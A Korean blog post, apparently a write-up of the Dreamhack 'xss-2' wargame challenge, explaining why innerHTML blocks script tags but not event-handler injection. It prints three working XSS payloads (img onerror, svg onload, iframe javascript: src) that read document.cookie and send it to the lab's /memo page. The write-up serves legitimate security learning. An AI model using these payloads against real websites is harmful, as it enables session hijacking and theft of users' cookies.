dreamhack

[Dreamhack] xss-2

부산영롱 2023. 12. 31. 02:34

xss-1 문제와 매우 유사하지만 이번에는 /vuln(xss) page에서 <script> 코드가 실행되지 않는다.

코드 분석

# xss-1 / app.py
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param
# xss-2 / app.py
@app.route("/vuln")
def vuln():
    return render_template("vuln.html")
# xss-2 / vuln.html
{% block content %}
    <div id='vuln'></div>
    <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}

 
xss-1에서는 "/vuln" 엔드포인트에 대한 GET 요청이 들어왔을 때 "param" 값을 읽어와 해당 값을 그대로 반환한다.

xss-2에서는 innerHTML 코드가 있는데 innerHTML을 사용하여 삽입된 HTML 코드 안에 포함된 <script> 태그는 실행되지 않는다.

하지만 innerHTML은 html 태그를 읽기 때문에 다양한 html 태그를 활용한 공격이 가능하다.
 
xss cheat sheet로 검색해보니 엄청나게 다양한 xss 공격 방법이 존재했다.
테스트를 해보니 되는 것도 안되는 것도 있었다. 왜 안되는지까지는 알아보는건 나중에.. 하기로 하자
 
아래는 성공적으로 xss 공격을 수행한 코드 3가지이다
1. <img src='x' onerror="location.href='/memo?memo='+document.cookie;">
<img> 태그의 'onerror' 이벤트 핸들러는 이미지를 불러오는 과정에서 에러가 발생했을 때 실행된다. 여기서는 'x' 이미지를 불러올 수 없기 때문에 Javascript 코드가 실행됐다.
2. <svg/onload="location.href='/memo?memo='+document.cookie;">
<svg> 태그의 'onload' 이벤트 핸들러는 SVG 문서가 로딩되면 실행된다. SVG 태그는 이미지로써 해석되기 때문에 페이지에 SVG가 로딩될 때 'onload' 이벤트가 발생하고 지정된 Javascript 코드가 실행된다.
3. <iframe src=javascript:location.href='/memo?memo='+document.cookie;>
<iframe> 태그의 src 속성에 직접 Javascript 코드가 포함되어 페이지 로딩 시 즉시 코드가 실행된다.

'dreamhack' 카테고리의 다른 글

[Dreamhack] Mango  (0) 2024.01.10
[Dreamhack] simple_sqli  (1) 2024.01.09
[Dreamhack] CSRF-1 / 2  (0) 2024.01.01
[Dreamhack] xss-1  (0) 2023.12.31
[Dreamhack] phpreg  (0) 2023.12.29